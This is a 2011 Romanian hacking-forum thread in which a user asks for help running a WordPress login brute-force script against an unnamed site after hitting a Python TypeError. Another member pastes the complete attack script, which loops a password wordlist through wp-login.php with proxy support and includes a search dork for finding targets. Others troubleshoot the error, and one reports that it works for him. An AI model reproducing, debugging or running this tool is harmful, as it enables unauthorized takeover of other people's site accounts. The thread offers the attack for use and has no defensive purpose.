oldnavy Posted May 14, 2011 Report Posted May 14, 2011 Nu prea ma pricep la python,dar totusi vreau sa rulez un brute force;Imi da eroarea urmatoare:C:\Python27>python wordpressbf.py <site> admin words.txt d3hydr8[at]gmail[dot]com WordPressBF v1.0----------------------------------------------[-] Proxy Not Given[-] Verbose Mode Off[+] BruteForcing: <site>[+] User: admin[+] Words Loaded: 816Traceback (most recent call last): File "wordpressbf.py", line 84, in <module> opener = urllib2.build_opener(host) File "C:\python27\lib\urllib2.py", line 478, in build_opener opener.add_handler(h) File "C:\python27\lib\urllib2.py", line 312, in add_handler type(handler))TypeError: expected BaseHandler instance, got <type 'str'>C:\Python27>Stie cineva ce e de facut? Quote
pyth0n3 Posted May 14, 2011 Report Posted May 14, 2011 Nu prea ma pricep la python,dar totusi vreau sa rulez un brute force;"Nu am permis dar totu?i am sa conduc ma?ina" Probabil scriptul crede ca e prea stupid sa ruleze un brute-force asupra target-ului ?i î?i arunca o eroare (P?rerea mea) 1 Quote
tdxev Posted May 15, 2011 Report Posted May 15, 2011 posteaza si link catre script daca am timp ma uit maine peste el.dar cum au zis ceilalti probabil nu ai bagat vreun parametru corect. Quote
nedo Posted May 15, 2011 Report Posted May 15, 2011 bf-ul este probabil luat de aici codul bf-ului este urmatorul:#!/usr/bin/python#WordPress Brute Force (wp-login.php)#If cookies enabled brute force will not work (yet)#Change response on line 97 if needed. (language)#Dork: inurl:wp-login.php#http://www.darkc0de.com#d3hydr8[at]gmail[dot]com import urllib2, sys, re, urllib, httplib, socketprint "\n d3hydr8[at]gmail[dot]com WordPressBF v1.0"print "----------------------------------------------"if len(sys.argv) not in [4,5,6,7]: print "Usage: ./wordpressbf.py <site> <user> <wordlist> <options>\n" print "\t -p/-proxy <host:port> : Add proxy support" print "\t -v/-verbose : Verbose Mode\n" sys.exit(1)for arg in sys.argv[1:]: if arg.lower() == "-p" or arg.lower() == "-proxy": proxy = sys.argv[int(sys.argv[1:].index(arg))+2] if arg.lower() == "-v" or arg.lower() == "-verbose": verbose = 1try: if proxy: print "\n[+] Testing Proxy..." h2 = httplib.HTTPConnection(proxy) h2.connect() print "[+] Proxy:",proxyexcept(socket.timeout): print "\n[-] Proxy Timed Out" proxy = 0 passexcept(NameError): print "\n[-] Proxy Not Given" proxy = 0 passexcept: print "\n[-] Proxy Failed" proxy = 0 passtry: if verbose == 1: print "[+] Verbose Mode On\n"except(NameError): print "[-] Verbose Mode Off\n" verbose = 0 passif sys.argv[1][:7] != "http://": host = "http://"+sys.argv[1]else: host = sys.argv[1]print "[+] BruteForcing:",hostprint "[+] User:",sys.argv[2]try: words = open(sys.argv[3], "r").readlines() print "[+] Words Loaded:",len(words),"\n"except(IOError): print "[-] Error: Check your wordlist path\n" sys.exit(1)for word in words: word = word.replace("\r","").replace("\n","") login_form_seq = [ ('log', sys.argv[2]), ('pwd', word), ('rememberme', 'forever'), ('wp-submit', 'Login >>'), ('redirect_to', 'wp-admin/')] login_form_data = urllib.urlencode(login_form_seq) if proxy != 0: proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'}) opener = urllib2.build_opener(proxy_handler) else: opener = urllib2.build_opener() try: site = opener.open(host, login_form_data).read() except(urllib2.URLError), msg: print msg site = "" pass if re.search("WordPress requires Cookies",site): print "[-] Failed: WordPress has cookies enabled\n" sys.exit(1) #Change this response if different. (language) if re.search("<strong>ERROR</strong>",site) and verbose == 1: print "[-] Login Failed:",word else: print "\n\t[!] Login Successfull:",sys.argv[2],word,"\n" sys.exit(1)print "\n[-] Brute Complete\n"problema lui este in "urllib2.py". Quote
oldnavy Posted May 15, 2011 Author Report Posted May 15, 2011 da,ala e scriptul,m-am uitat si in urllib2.py si nu-mi dau seama ce are Quote
cmiN Posted May 15, 2011 Report Posted May 15, 2011 TypeError: expected BaseHandler instance, got <type 'str'> spune ca a primit un sir in loc de un obiect, totusi m-am uitat pe exemple in documentatia urllib2 si e totul ok in script sau cel putin asa pare. Acum probabil depinde si de utilizator, incearca sa NU folosesti proxy si daca nu-ti mai da eroarea e clar ca e de la proxy si poate fi bug din cod sau chestii care nu au fost exceptate ca timeout, anumite response codes.P.S.: python se interpreteaza nu compileaza. Quote
neox Posted May 15, 2011 Report Posted May 15, 2011 Nu prea ma pricep la python,dar totusi vreau sa rulez un brute force;Imi da eroarea urmatoare:C:\Python27>python wordpressbf.py <site> admin words.txt d3hydr8[at]gmail[dot]com WordPressBF v1.0----------------------------------------------[-] Proxy Not Given[-] Verbose Mode Off[+] BruteForcing: <site>[+] User: admin[+] Words Loaded: 816Traceback (most recent call last): File "wordpressbf.py", line 84, in <module> opener = urllib2.build_opener(host) File "C:\python27\lib\urllib2.py", line 478, in build_opener opener.add_handler(h) File "C:\python27\lib\urllib2.py", line 312, in add_handler type(handler))TypeError: expected BaseHandler instance, got <type 'str'>C:\Python27>Stie cineva ce e de facut?merge la perfectie fara nici o problemaC:\Python27>python wordpressbf.py <site> admin words.txtwords.txt specifica de unde sa ia lista de exemplu din C:\bla\words.txtresultatul la mineImageShack® - Online Photo and Video Hosting Quote
nedo Posted May 16, 2011 Report Posted May 16, 2011 acum am realizat ca scriptul este facut pe linux.Verifica adresele de la importuri, sa fie corecte.Cand ajung acasa incerc sa vad ce si cum. Quote